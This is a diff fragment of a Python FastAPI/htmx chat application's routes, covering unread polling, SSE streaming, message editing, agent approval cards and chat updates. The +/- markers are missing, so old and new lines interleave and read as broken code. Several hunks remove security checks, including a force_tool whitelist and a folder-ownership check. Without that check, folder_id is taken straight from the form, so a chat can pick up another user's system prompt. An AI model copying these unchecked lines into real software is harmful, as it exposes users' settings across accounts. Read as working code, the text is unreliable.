watching for -- a chat reply is one you asked for a moment ago and are
|
||||
probably looking at, while a schedule fires while you are elsewhere. So each
|
||||
kind carries its own `*_notified` flag and each announces once.
|
||||
|
||||
The payload is a list of items rather than a list of titles, because the
|
||||
browser notification wants somewhere to go when it is clicked and a title on
|
||||
its own cannot say where.
|
||||
"""
|
||||
chats = list(
|
||||
db.scalars(
|
||||
@@ -758,25 +618,15 @@ async def unread_poll(db: Db, user: RequiredUser) -> Response:
|
||||
# A temporary chat has no sidebar row, so a dot has nowhere to
|
||||
# land and the toast would name a chat nobody can navigate to.
|
||||
Chat.temporary.is_(False),
|
||||
# And neither has a conversation belonging to a section rather
|
||||
# than to the tree. Those get one dot per *section*, below --
|
||||
# forty task chats must not mean forty out-of-band spans aimed
|
||||
# at elements that are not on the page. htmx says nothing at all
|
||||
# when an OOB target is missing, so this would be silent waste.
|
||||
Chat.kind.in_(KINDS),
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
# What to announce, in the order it will be read out. Each entry carries
|
||||
# where it came from and where to go, because a browser notification is a
|
||||
# thing you click.
|
||||
items: list[dict[str, str]] = []
|
||||
|
||||
fresh = [c for c in chats if c.unread and not c.unread_notified]
|
||||
for chat in fresh:
|
||||
chat.unread_notified = True
|
||||
items.append({"kind": "chat", "title": chat.title, "url": f"/chat/{chat.id}"})
|
||||
if fresh:
|
||||
db.commit()
|
||||
|
||||
markup = "".join(
|
||||
f'<span id="unread-{c.id}" class="unread-dot" hx-swap-oob="true"'
|
||||
@@ -784,139 +634,15 @@ async def unread_poll(db: Db, user: RequiredUser) -> Response:
|
||||
for c in chats
|
||||
)
|
||||
|
||||
# One dot for the whole Reports section, carried by this poll rather than by
|
||||
# a second timer of its own. Sent on every tick including empty, because it
|
||||
# has to be able to clear: a dot that survived reading the last report would
|
||||
# be news that cannot be dismissed.
|
||||
if permissions.has(db, user, "reports.use"):
|
||||
waiting = reports_service.unread_count(db, user)
|
||||
markup += (
|
||||
'<span id="unread-reports" class="unread-dot" hx-swap-oob="true"'
|
||||
f'{"" if waiting else " hidden"} title="New reports"></span>'
|
||||
)
|
||||
# Announced per report rather than per section, because the title is the
|
||||
# whole of what makes it worth interrupting somebody for -- "a report
|
||||
# arrived" is a sentence they have to go and act on to understand.
|
||||
for report in reports_service.unannounced(db, user):
|
||||
report.unread_notified = True
|
||||
items.append(
|
||||
{"kind": "report", "title": report.title, "url": f"/reports/{report.id}"}
|
||||
)
|
||||
|
||||
# The Messages conversation, read from the row rather than created: this
|
||||
# runs every ten seconds on every open page, and `for_user` would write one
|
||||
# for every account that has never opened the section.
|
||||
conversation = db.scalars(
|
||||
select(Chat).where(Chat.user_id == user.id, Chat.kind == KIND_MESSAGES)
|
||||
).first()
|
||||
markup += (
|
||||
'<span id="unread-messages" class="unread-dot" hx-swap-oob="true"'
|
||||
f'{"" if (conversation and conversation.unread) else " hidden"}'
|
||||
' title="New messages"></span>'
|
||||
)
|
||||
if conversation is not None and conversation.unread and not conversation.unread_notified:
|
||||
conversation.unread_notified = True
|
||||
# Not the conversation's title, which is "Messages" and says nothing.
|
||||
# There is one per person and it is the section, so the section is the
|
||||
# honest name for it.
|
||||
items.append({"kind": "message", "title": "Messages", "url": "/messages"})
|
||||
|
||||
if items:
|
||||
db.commit()
|
||||
|
||||
response = HTMLResponse(markup)
|
||||
if items:
|
||||
# HX-Trigger carries it; ui.js turns it into a toast, a browser
|
||||
# notification and a count in the tab title.
|
||||
response.headers["HX-Trigger"] = json.dumps({"lembas:unread": {"items": items}})
|
||||
if fresh:
|
||||
# HX-Trigger carries the toast; ui.js listens for it.
|
||||
response.headers["HX-Trigger"] = json.dumps(
|
||||
{"lembas:unread": {"titles": [c.title for c in fresh]}}
|
||||
)
|
||||
return response
|
||||
|
||||
|
||||
@router.get("/{chat_id}/tail")
|
||||
async def thread_tail(db: Db, user: RequiredUser, chat_id: str, after: str = "") -> Response:
|
||||
"""Turns this page has not got yet, appended to the transcript it is showing.
|
||||
|
||||
A reply can begin without a request from the browser: `jobs.wake` writes a
|
||||
completion turn and calls `generation.ensure` when a background job finishes
|
||||
on an idle chat. There is no channel to tell the page about it. The only
|
||||
stream here is per-message and it is opened by the `sse-connect` on an
|
||||
incomplete assistant bubble -- a bubble this page does not have, because the
|
||||
reply that created it started somewhere else. `_queue_frames` proves the swap
|
||||
works, but it can only ride a stream that is already open.
|
||||
|
||||
So the page asks. Polled for the same reason `/unread` is: a second always-on
|
||||
connection per tab is a great deal of machinery for something that happens a
|
||||
few times a day. The cursor comes from the browser -- see `app.js`, which
|
||||
reads the last bubble in `#thread`, the honest answer to what this page
|
||||
already holds.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
|
||||
# Somebody is looking at this chat, which is what `unread` means the absence
|
||||
# of. `_persist` marks a reply unread whenever `generation.followers == 0`,
|
||||
# and that is true of a job-woken reply even with the reader watching it --
|
||||
# so today the toast announces a chat that is already on screen. This is
|
||||
# `pages.chat_detail` said again for as long as the page stays open rather
|
||||
# than once when it loads, and it is cleared whether or not anything arrived:
|
||||
# the claim being made is that somebody is here.
|
||||
#
|
||||
# Not airtight, and not pretending to be: the sidebar polls on 10s and this
|
||||
# on 5s, so this usually wins, but a badly timed tick can still raise one
|
||||
# toast for the chat in front of you.
|
||||
if chat.unread or chat.unread_notified:
|
||||
chat.unread = False
|
||||
chat.unread_notified = False
|
||||
db.commit()
|
||||
|
||||
# No cursor, a cursor from another chat, or one naming a row a rewind has
|
||||
# since deleted. Answering with the transcript would append a second copy of
|
||||
# every bubble the page still holds, and a page whose history was rewritten
|
||||
# underneath it is one only a reload can reconcile -- which is not this
|
||||
# route's decision to make, with a half-typed message possibly in the box.
|
||||
cut = db.get(Message, after) if after else None
|
||||
if cut is None or cut.chat_id != chat.id:
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
# The cut is read from the row rather than taken as a timestamp on the wire,
|
||||
# which is what makes `_inject`'s restamp harmless: if the page's last bubble
|
||||
# was the assistant placeholder and the placeholder moved, the cut moves with
|
||||
# it. Compared in SQL and never in Python, for the reason `compaction.moment`
|
||||
# exists -- a row read back from SQLite is naive and one still in the session
|
||||
# is aware, and `>` between them raises.
|
||||
#
|
||||
# The id clause is not decoration. Under a bare `>` a row sharing the cut's
|
||||
# microsecond is skipped forever; with it, at most the one sorting lower is.
|
||||
fresh = list(
|
||||
db.scalars(
|
||||
select(Message)
|
||||
.where(
|
||||
Message.chat_id == chat.id,
|
||||
or_(
|
||||
Message.created_at > cut.created_at,
|
||||
and_(Message.created_at == cut.created_at, Message.id > cut.id),
|
||||
),
|
||||
)
|
||||
.order_by(Message.created_at, Message.id)
|
||||
)
|
||||
)
|
||||
if not fresh:
|
||||
# 204 and not an empty 200: htmx does not swap on a 204, where an empty
|
||||
# body would still fire a swap and a settle on every open page every
|
||||
# five seconds.
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
# Queued turns come too, unfiltered. A completion waiting behind a running
|
||||
# reply is exactly what the reader wants to watch arrive, and its bubble can
|
||||
# never carry `sse-connect` -- `_message.html` requires the assistant role
|
||||
# for that. When the running reply ends, `_queue_frames` deletes the stale
|
||||
# node out of band and re-renders it in place, so arriving early costs
|
||||
# nothing.
|
||||
#
|
||||
# No `just_finished`: that flag is what read-aloud-automatically keys off,
|
||||
# and a bubble the page merely missed must not start talking.
|
||||
return HTMLResponse("".join(_render_bubble(db, chat, user, row) for row in fresh))
|
||||
|
||||
|
||||
@router.post("/{chat_id}/messages")
|
||||
async def post_message(
|
||||
request: Request,
|
||||
@@ -925,20 +651,12 @@ async def post_message(
|
||||
chat_id: str,
|
||||
content: str = Form(""),
|
||||
file_ids: list[str] = Form(default=[]),
|
||||
force_tool: str = Form(""),
|
||||
) -> Response:
|
||||
"""Persist the user's turn and hand back the pair of bubbles.
|
||||
|
||||
The assistant bubble comes back empty, carrying the sse-connect attribute
|
||||
that opens the stream below. Splitting it this way means the POST returns
|
||||
immediately and the slow part is a separate, resumable connection.
|
||||
|
||||
`force_tool` is `/image` and nothing else. It is checked against a fixed
|
||||
list rather than passed through: this ends up in `tool_choice`, and a name
|
||||
taken from a form would let anybody who can send a message pick which tool
|
||||
the model is compelled to call. Whether that tool is *offered* is still
|
||||
decided by `resolve_tools`, so this can only ever narrow to something the
|
||||
chat was already allowed.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
|
||||
@@ -948,8 +666,7 @@ async def post_message(
|
||||
if not content and not file_ids:
|
||||
return Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
|
||||
forced = force_tool.strip() if force_tool.strip() in FORCEABLE_TOOLS else ""
|
||||
return _send(request, db, chat, user, content, file_ids=file_ids, force_tool=forced)
|
||||
return _send(request, db, chat, user, content, file_ids=file_ids)
|
||||
|
||||
|
||||
def _reply_in_flight(db: DBSession, chat: Chat) -> bool:
|
||||
@@ -981,36 +698,6 @@ def _note_rewind(chat: Chat) -> None:
|
||||
chat.rewound_at = datetime.now(UTC)
|
||||
|
||||
|
||||
def _too_many_replies(db: DBSession, chat: Chat, user: User) -> str:
|
||||
"""Why this account may not start another reply right now, or "".
|
||||
|
||||
In-process, and that is exact rather than approximate only because this
|
||||
application runs one worker -- see the first known limit in PLAN.md. With
|
||||
several, this becomes a guess, and a quota that is a guess should be a
|
||||
number in the database instead. Stated here rather than discovered.
|
||||
"""
|
||||
from lembas.security import permissions
|
||||
|
||||
ceiling = permissions.limit(db, user, "concurrent_replies")
|
||||
if ceiling <= 0:
|
||||
return ""
|
||||
mine = {
|
||||
row[0]
|
||||
for row in db.execute(select(Chat.id).where(Chat.user_id == user.id)).all()
|
||||
}
|
||||
running = sum(
|
||||
1
|
||||
for chat_id in mine
|
||||
if chat_id != chat.id and generation_service.running_for(chat_id) is not None
|
||||
)
|
||||
if running < ceiling:
|
||||
return ""
|
||||
return (
|
||||
f"You already have {running} repl{'y' if running == 1 else 'ies'} being "
|
||||
f"written, which is this account's limit. Wait for one to finish."
|
||||
)
|
||||
|
||||
|
||||
def _send(
|
||||
request: Request,
|
||||
db: Db,
|
||||
@@ -1019,7 +706,6 @@ def _send(
|
||||
content: str,
|
||||
*,
|
||||
file_ids: list[str] | None = None,
|
||||
force_tool: str = "",
|
||||
) -> Response:
|
||||
"""Write a turn, start the reply, and hand back the pair of bubbles.
|
||||
|
||||
@@ -1033,18 +719,6 @@ def _send(
|
||||
prefixes of it, with Stop pointing at whichever bubble came first in the
|
||||
document.
|
||||
"""
|
||||
# How many of *this account's* chats are already writing. Checked here and
|
||||
# not inside `generation`, because this is where there is somebody to tell:
|
||||
# a schedule firing or a finished job waking a chat has nobody at the
|
||||
# keyboard, and refusing those would be a quota silently eating work an
|
||||
# administrator set up on purpose.
|
||||
#
|
||||
# This chat's own reply does not count against it -- a second message here
|
||||
# is queued rather than sent, a few lines down, and that path is what the
|
||||
# queue is for.
|
||||
if busy := _too_many_replies(db, chat, user):
|
||||
raise HTTPException(status.HTTP_429_TOO_MANY_REQUESTS, busy)
|
||||
|
||||
if queued := _reply_in_flight(db, chat):
|
||||
waiting = db.scalar(
|
||||
select(func.count())
|
||||
@@ -1088,7 +762,7 @@ def _send(
|
||||
assistant_message = chat_service.create_message(
|
||||
db, chat, ROLE_ASSISTANT, "", complete_=False, model_id=chat.model_id
|
||||
)
|
||||
generation_service.ensure(chat.id, assistant_message.id, force_tool=force_tool)
|
||||
generation_service.ensure(chat.id, assistant_message.id)
|
||||
|
||||
# `user` is required by the shared message template, which renders both
|
||||
# roles; without it the user bubble's initial blows up.
|
||||
@@ -1139,35 +813,10 @@ async def stream_message(
|
||||
)
|
||||
|
||||
|
||||
def _step_html(message_id: str, step) -> str:
|
||||
"""One closed step of a running reply.
|
||||
|
||||
`SimpleNamespace` for the message, as `_canvas_tabs` already does for the
|
||||
chat: the partial wants an id to build its element ids from and nothing
|
||||
else, and there is no `Message` in scope here -- the row is not written
|
||||
until the reply ends. `reasoning_ms` is only known then too, so a live step
|
||||
says "Thought" and the stored one says how long for.
|
||||
"""
|
||||
return templates.get_template("chat/_step.html").render(
|
||||
{"step": step, "message": SimpleNamespace(id=message_id, reasoning_ms=0)}
|
||||
)
|
||||
|
||||
|
||||
def _think_label(generation, thinking_tail: str) -> str:
|
||||
"""How long this round has been thinking, and roughly how much.
|
||||
|
||||
This round's, not the reply's, so the live block means the same thing as the
|
||||
closed blocks above it and does not change meaning the moment it settles.
|
||||
The reply's total is already under the bubble, in the metrics chips.
|
||||
|
||||
The producer owns the number. Computing it here from a start time would
|
||||
keep the clock running after the model had stopped thinking and moved on to
|
||||
a tool, which is a timer rather than a measurement.
|
||||
"""
|
||||
return steps_service.thinking_label(
|
||||
ms=generation.round_thinking_ms,
|
||||
tokens=tokens_service.estimate(thinking_tail),
|
||||
live=True,
|
||||
def _tool_activity(events: list[dict], *, live: bool = True) -> str:
|
||||
"""Render the tool block. Whole, never a delta, like every other frame."""
|
||||
return templates.get_template("chat/_tool_activity.html").render(
|
||||
{"tool_events": events, "live": live}
|
||||
)
|
||||
|
||||
|
||||
@@ -1177,35 +826,13 @@ def _ask_html(chat_id: str, pending) -> str:
|
||||
Returns "" when there is nothing pending, and the frame is sent
|
||||
unconditionally, because this is one of the few blocks that has to be able
|
||||
to *clear* itself: the card must vanish the moment it is answered.
|
||||
`reasoning`, `render` and `steps` are the opposite -- guarded by truthiness
|
||||
`reasoning`, `tools` and `render` are the opposite -- guarded by truthiness
|
||||
so a frame can never blank them.
|
||||
"""
|
||||
if pending is None:
|
||||
return ""
|
||||
return templates.get_template("chat/_interaction.html").render(
|
||||
# The sentinel the "Something else" row submits, passed in rather than
|
||||
# written into the template, so the value the card sends and the value
|
||||
# this module looks for cannot drift apart.
|
||||
{"ask": pending, "chat_id": chat_id, "other_value": interaction.OTHER}
|
||||
)
|
||||
|
||||
|
||||
def _canvas_tabs(chat_id: str, state: dict) -> str:
|
||||
"""The canvas tab strip, as an out-of-band swap.
|
||||
|
||||
Out of band because it belongs to a panel, not to the bubble the stream is
|
||||
writing into -- the same move the `done` frame already makes for the chat
|
||||
title. Only the strip: pushing the file's contents on every version bump
|
||||
would be a lot of bytes for nothing, and would overwrite a textarea somebody
|
||||
is typing in. The active tab's body fetches itself once instead.
|
||||
"""
|
||||
return templates.get_template("chat/_canvas_tabs.html").render(
|
||||
{
|
||||
"chat": SimpleNamespace(id=chat_id),
|
||||
"tabs": state.get("tabs") or [],
|
||||
"active": state.get("active") or "",
|
||||
"oob": True,
|
||||
}
|
||||
{"ask": pending, "chat_id": chat_id}
|
||||
)
|
||||
|
||||
|
||||
@@ -1216,82 +843,29 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
|
||||
another chat -- leaves the reply being written, and reconnecting replays
|
||||
the whole state immediately rather than starting over.
|
||||
|
||||
Every frame carries the complete block each time rather than a delta, which
|
||||
is what makes reattaching mid-reply work at all: a follower arriving late has
|
||||
no earlier fragments to append to.
|
||||
|
||||
The split is along **closed versus open**, not along kind. `steps` carries
|
||||
every step that has finished and moves only when a round ends; `reasoning`
|
||||
and `render` carry the step still being written and move at streaming speed.
|
||||
That is what makes this affordable: the old `tools` frame re-rendered every
|
||||
tool call in the reply twelve times a second, against an output budget of a
|
||||
megabyte, so a long agent reply spent most of its wall time re-rendering its
|
||||
own transcript. `rendered` below is a render cache and not a wire protocol --
|
||||
it starts empty for every follower, so one attaching mid-reply still receives
|
||||
the whole prefix in its first frame.
|
||||
|
||||
The order within one pass is load-bearing: `steps` before `reasoning` and
|
||||
`render`, because `steps` carries the containers those two are swapped into.
|
||||
htmx re-registers `sse-swap` on content it swaps in, which is the same
|
||||
property the approval card's buttons already rely on.
|
||||
Both `render` and `reasoning` carry the complete block each time rather
|
||||
than a delta, which is what makes reattaching mid-reply work at all: a
|
||||
follower arriving late has no earlier fragments to append to.
|
||||
"""
|
||||
generation = generation_service.ensure(chat_id, message_id)
|
||||
generation.followers += 1
|
||||
seen = -1
|
||||
last_frame = time.monotonic()
|
||||
last_metrics = 0.0
|
||||
# The HTML of every step already rendered, and how many *marks* that covers.
|
||||
# Two counters and not one: a mark can produce up to three steps -- thinking,
|
||||
# prose, tools -- so the length of the list is not an index into the marks.
|
||||
rendered: list[str] = []
|
||||
marks_done = 0
|
||||
|
||||
try:
|
||||
while True:
|
||||
if generation.version != seen:
|
||||
seen = generation.version
|
||||
if len(generation.steps) > marks_done:
|
||||
for step in steps_service.closed_from(generation, since=marks_done):
|
||||
rendered.append(_step_html(message_id, step))
|
||||
marks_done = len(generation.steps)
|
||||
yield sse.event("steps", "".join(rendered))
|
||||
# Sent every pass, empty included. That is what clears the tail
|
||||
# when a round closes and its contents become a step above --
|
||||
# and it is safe precisely because these carry the open tail
|
||||
# only. The version that carried the whole reply had to be
|
||||
# guarded, or a frame could wipe the answer.
|
||||
thinking_tail, text_tail = steps_service.tail(generation)
|
||||
yield sse.event("reasoning", escape_text(thinking_tail))
|
||||
yield sse.event("think", escape_text(_think_label(generation, thinking_tail)))
|
||||
yield sse.event("render", render_markdown(text_tail) if text_tail else "")
|
||||
if generation.canvas.get("tabs"):
|
||||
# Guarded on truthiness, which puts this in the
|
||||
# reasoning/tools/render group and not the
|
||||
# metrics/status/ask one. Those three are sent even when
|
||||
# empty *because* each has to be able to clear itself; this
|
||||
# one must never be able to, since an empty canvas frame
|
||||
# would close every tab somebody had open. The card that
|
||||
# could be pressed twice, with the sign reversed.
|
||||
#
|
||||
# The whole strip each time, not a delta, so a follower
|
||||
# attaching mid-reply gets every tab the reply has touched
|
||||
# rather than the ones that happened to arrive after it.
|
||||
yield sse.event("canvas", _canvas_tabs(chat_id, generation.canvas))
|
||||
if generation.thinking:
|
||||
yield sse.event("reasoning", escape_text(generation.thinking))
|
||||
if generation.tool_events:
|
||||
yield sse.event("tools", _tool_activity(generation.tool_events))
|
||||
if generation.content:
|
||||
yield sse.event("render", render_markdown(generation.text))
|
||||
yield sse.event("metrics", _metrics_html(generation))
|
||||
yield sse.event("status", escape_text(generation.status))
|
||||
yield sse.event("ask", _ask_html(chat_id, generation.pending))
|
||||
last_frame = last_metrics = time.monotonic()
|
||||
|
||||
# On a clock as well as on a change, because the version does not
|
||||
# move while a tool runs -- there is no `touch()` inside
|
||||
# `_run_calls` -- and a five-minute build on the far side is exactly
|
||||
# when somebody looks at these numbers to see whether anything is
|
||||
# happening. The elapsed clock is advancing throughout, so tok/s has
|
||||
# to be allowed to fall; frozen chips beside a spinner read as a
|
||||
# hang. One small swap a second, and only while the reply is live.
|
||||
elif time.monotonic() - last_metrics > METRICS_INTERVAL:
|
||||
yield sse.event("metrics", _metrics_html(generation))
|
||||
last_frame = last_metrics = time.monotonic()
|
||||
last_frame = time.monotonic()
|
||||
|
||||
if generation.done:
|
||||
break
|
||||
@@ -1323,6 +897,7 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
|
||||
final_html = templates.get_template("chat/_message.html").render(
|
||||
{
|
||||
"message": message,
|
||||
"body_html": render_markdown(message.content),
|
||||
"chat": chat,
|
||||
# Passed even though an assistant bubble never reads it: the
|
||||
# template shares both roles, and a missing `user` would only
|
||||
@@ -1358,6 +933,9 @@ def _render_bubble(db: DBSession, chat: Chat, owner: User | None, message: Messa
|
||||
return templates.get_template("chat/_message.html").render(
|
||||
{
|
||||
"message": message,
|
||||
"body_html": (
|
||||
render_markdown(message.content) if message.role == ROLE_ASSISTANT else ""
|
||||
),
|
||||
"chat": chat,
|
||||
"user": owner,
|
||||
"models_by_id": {m.model_id: m for m in chat_service.available_models(db, None)},
|
||||
@@ -1476,11 +1054,6 @@ async def edit_form(
|
||||
message = db.get(Message, message_id)
|
||||
if message is None or message.chat_id != chat.id or message.role != ROLE_USER:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That message no longer exists.")
|
||||
# See `edit_message` for why, and for why this is not the same sentence.
|
||||
if message.machine:
|
||||
raise HTTPException(
|
||||
status.HTTP_404_NOT_FOUND, "A background job's message cannot be edited."
|
||||
)
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
@@ -1513,6 +1086,7 @@ async def cancel_edit(
|
||||
"chat": chat,
|
||||
"user": user,
|
||||
"message": message,
|
||||
"body_html": "",
|
||||
"models_by_id": {},
|
||||
},
|
||||
)
|
||||
@@ -1538,14 +1112,6 @@ async def edit_message(
|
||||
message = db.get(Message, message_id)
|
||||
if message is None or message.chat_id != chat.id or message.role != ROLE_USER:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That message no longer exists.")
|
||||
# The bubble hides the pencil, but a hidden button is a courtesy and this is
|
||||
# the rule: editing rewinds and re-sends under the reader's own authority,
|
||||
# and what a machine reported is not theirs to rewrite. Its own sentence,
|
||||
# because "no longer exists" would be false and would leave nothing to do.
|
||||
if message.machine:
|
||||
raise HTTPException(
|
||||
status.HTTP_404_NOT_FOUND, "A background job's message cannot be edited."
|
||||
)
|
||||
|
||||
content = content.strip()
|
||||
if not content and not message.attachments:
|
||||
@@ -1743,75 +1309,23 @@ async def answer_interaction(
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
form = await request.form()
|
||||
verdict = str(form.get("verdict") or "").strip()
|
||||
|
||||
# Why they refused, in their own words. A card-level field rather than a
|
||||
# `text.<key>` one: the card covers everything in the round, so one reason
|
||||
# answers the round -- and on an approval card `text.<key>` already means a
|
||||
# corrected command, which is a different thing arriving in the same shape.
|
||||
# Only read on a refusal, so a reason typed and then abandoned by pressing
|
||||
# Allow cannot travel with a permission.
|
||||
reason = str(form.get("reason") or "").strip() if verdict == interaction.DENY else ""
|
||||
|
||||
# Gathered in two passes because one field can now arrive several times: a
|
||||
# question the model marked `multiple` is checkboxes, and every ticked one
|
||||
# posts under the same name. A `setdefault` would keep the first and lose
|
||||
# the rest, which is an answer that says something the reader did not.
|
||||
chosen: dict[str, list[str]] = {}
|
||||
typed: dict[str, str] = {}
|
||||
answers: dict[str, str] = {}
|
||||
for field, value in form.multi_items():
|
||||
kind, _, key = str(field).partition(".")
|
||||
if not key or kind not in ("choice", "text"):
|
||||
continue
|
||||
written = str(value).strip()
|
||||
if kind == "text":
|
||||
typed[key] = written
|
||||
elif written:
|
||||
chosen.setdefault(key, []).append(written)
|
||||
|
||||
answers: dict[str, str] = {}
|
||||
for key, picks in chosen.items():
|
||||
# The "Something else" row carries a sentinel, not an answer: what it
|
||||
# means is whatever was typed beside it. Dropped entirely when the box
|
||||
# was left empty, so ticking it and writing nothing is the same as not
|
||||
# ticking it -- rather than the model being told the answer is
|
||||
# "__other__", which is the shape of thing it would try to act on.
|
||||
parts = [pick for pick in picks if pick != interaction.OTHER]
|
||||
if interaction.OTHER in picks and typed.get(key):
|
||||
parts.append(typed[key])
|
||||
if parts:
|
||||
answers[key] = ", ".join(parts)
|
||||
|
||||
# A box with no choice beside it: the approval card's corrected command,
|
||||
# which is the one place `text.` still stands on its own.
|
||||
for key, written in typed.items():
|
||||
if written and key not in answers and key not in chosen:
|
||||
if kind == "text" and written:
|
||||
answers[key] = written
|
||||
|
||||
# Read and recorded *before* resolving: `interaction.wait_for` clears
|
||||
# `generation.pending` in its `finally`, so a moment later there is nothing
|
||||
# left to remember and "always" would quietly mean "once".
|
||||
#
|
||||
# `answers` is gathered first because an approval card can now carry a
|
||||
# corrected command, and "always allow this" has to mean the command that is
|
||||
# about to run rather than the one the model asked for. Remembering the
|
||||
# proposed one would grant a standing permission nobody approved.
|
||||
remembered = 0
|
||||
unmatchable = 0
|
||||
if verdict == interaction.ALLOW_ALWAYS:
|
||||
remembered, unmatchable = _remember_always(
|
||||
db,
|
||||
chat,
|
||||
generation_service.pending_items(chat.id, interaction_id),
|
||||
answers=answers,
|
||||
)
|
||||
elif kind == "choice" and written:
|
||||
answers.setdefault(key, written)
|
||||
|
||||
answered = generation_service.answer(
|
||||
chat.id,
|
||||
interaction_id,
|
||||
verdict=verdict,
|
||||
verdict=str(form.get("verdict") or "").strip(),
|
||||
answers=answers,
|
||||
reason=reason,
|
||||
)
|
||||
|
||||
response = Response(status_code=status.HTTP_204_NO_CONTENT)
|
||||
@@ -1819,109 +1333,9 @@ async def answer_interaction(
|
||||
response.headers["HX-Trigger"] = json.dumps(
|
||||
{"lembas:notify": {"message": "That question is no longer waiting for an answer."}}
|
||||
)
|
||||
elif remembered:
|
||||
response.headers["HX-Trigger"] = json.dumps(
|
||||
{
|
||||
"lembas:notify": {
|
||||
"message": (
|
||||
f"This chat will not ask about {remembered} more action"
|
||||
f"{'' if remembered == 1 else 's'}. Clear that from the menu "
|
||||
"beside the composer."
|
||||
)
|
||||
}
|
||||
}
|
||||
)
|
||||
elif unmatchable:
|
||||
# Otherwise this is a button that silently did nothing, which is the
|
||||
# failure the rest of this feature was arranged to avoid. It is allowed
|
||||
# to store nothing -- a composed command line must never become a
|
||||
# standing permission -- but it is not allowed to say nothing.
|
||||
response.headers["HX-Trigger"] = json.dumps(
|
||||
{
|
||||
"lembas:notify": {
|
||||
"message": (
|
||||
"Allowed once. A command line that runs more than one thing "
|
||||
"cannot be stored as a rule, so this chat will ask again."
|
||||
)
|
||||
}
|
||||
}
|
||||
)
|
||||
return response
|
||||
|
||||
|
||||
def _remember_always(
|
||||
db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None
|
||||
) -> tuple[int, int]:
|
||||
"""Record what "always allow" was said about.
|
||||
|
||||
Returns (how many were new, how many could not be stored at all). The second
|
||||
is what the caller turns into a toast: `subject` yields nothing for a
|
||||
composed command line, so pressing the button on one is right to store
|
||||
nothing and wrong to say nothing.
|
||||
|
||||
The pattern is derived **here**, and still never taken from the request as a
|
||||
pattern: `answers` carries the command a person may have corrected on the
|
||||
card, and it goes through `agent_policy.subject` exactly as `item.detail`
|
||||
does. That is the same normaliser `decide` matches with, so what is stored
|
||||
is exactly what will be compared later; it returns None for a command line
|
||||
carrying a shell metacharacter, which is precisely the shape that must never
|
||||
become a standing permission.
|
||||
|
||||
Reading the edit matters rather than being a nicety. Somebody who corrects a
|
||||
command and presses "always allow" has approved the corrected one, and
|
||||
storing what the model originally asked for would be a standing permission
|
||||
for something nobody ever agreed to.
|
||||
|
||||
A tool name for everything that is not a command, which is the convention
|
||||
the shipped `allow_default` already uses: `file_read` and `file_list` are
|
||||
entries in it.
|
||||
"""
|
||||
scope = dict(chat.scope_json or {})
|
||||
entries = list(scope.get("allow") or [])
|
||||
written = answers or {}
|
||||
added = 0
|
||||
unmatchable = 0
|
||||
|
||||
for item in items:
|
||||
if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
|
||||
continue
|
||||
detail = item.detail
|
||||
if item.editable:
|
||||
detail = (written.get(item.key) or "").strip() or item.detail
|
||||
pattern = agent_policy.subject(item.tool_name, detail)
|
||||
if not pattern:
|
||||
unmatchable += 1
|
||||
continue
|
||||
if pattern in entries:
|
||||
continue
|
||||
entries.append(pattern)
|
||||
added += 1
|
||||
|
||||
if added:
|
||||
# Reassigned rather than mutated: a plain dict assignment into a JSON
|
||||
# column is not detected.
|
||||
chat.scope_json = {**scope, "allow": entries}
|
||||
db.commit()
|
||||
log.info("chat %s will stop asking about %d action(s)", chat.id, added)
|
||||
return added, unmatchable
|
||||
|
||||
|
||||
@router.post("/{chat_id}/allow/clear")
|
||||
async def clear_allow(db: Db, user: RequiredUser, chat_id: str) -> Response:
|
||||
"""Forget everything this chat was told to stop asking about.
|
||||
|
||||
An empty body rather than a 204, because the row in the menu has to
|
||||
disappear -- htmx does not swap on a 204, and a Clear that leaves the count
|
||||
on screen is the silent control this codebase keeps cataloguing.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
scope = dict(chat.scope_json or {})
|
||||
if scope.pop("allow", None) is not None:
|
||||
chat.scope_json = scope
|
||||
db.commit()
|
||||
return HTMLResponse("")
|
||||
|
||||
|
||||
@router.patch("/{chat_id}")
|
||||
async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str) -> Response:
|
||||
"""Partially update a chat.
|
||||
@@ -1936,26 +1350,15 @@ async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str
|
||||
allowed = permissions.resolve(db, user)
|
||||
form = await request.form()
|
||||
|
||||
renamed = False
|
||||
if "title" in form:
|
||||
cleaned = str(form["title"]).strip()[:300]
|
||||
if cleaned:
|
||||
chat.title = cleaned
|
||||
# An explicit rename must not be overwritten by auto-titling later.
|
||||
chat.title_generated = True
|
||||
renamed = True
|
||||
|
||||
if "folder_id" in form:
|
||||
# Resolved against *this person's* folders, not taken as given. A folder
|
||||
# is not just a label: `effective_system_prompt` walks up from the chat
|
||||
# through its folder and its parents, so a chat attached to somebody
|
||||
# else's folder would take their system prompt -- reading a setting
|
||||
# across an ownership boundary through a field that looks like a tag.
|
||||
# Unknown or not theirs means no folder, which is the same answer
|
||||
# `_new_chat` gives.
|
||||
wanted = str(form["folder_id"]).strip()
|
||||
folder = db.get(Folder, wanted) if wanted else None
|
||||
chat.folder_id = folder.id if folder is not None and folder.user_id == user.id else None
|
||||
chat.folder_id = str(form["folder_id"]) or None
|
||||
|
||||
# The mode is the one agent field that changes mid-chat: it decides what
|
||||
# gets asked about, not what the conversation is.
|
||||
@@ -2060,16 +1463,6 @@ async def update_chat(request: Request, db: Db, user: RequiredUser, chat_id: str
|
||||
chat.params_json = {**(chat.params_json or {}), "reasoning_effort": seeded}
|
||||
|
||||
db.commit()
|
||||
|
||||
if renamed:
|
||||
# The two out-of-band spans the `done` frame already uses, so one
|
||||
# response updates the heading *and* the sidebar row. Renaming used to
|
||||
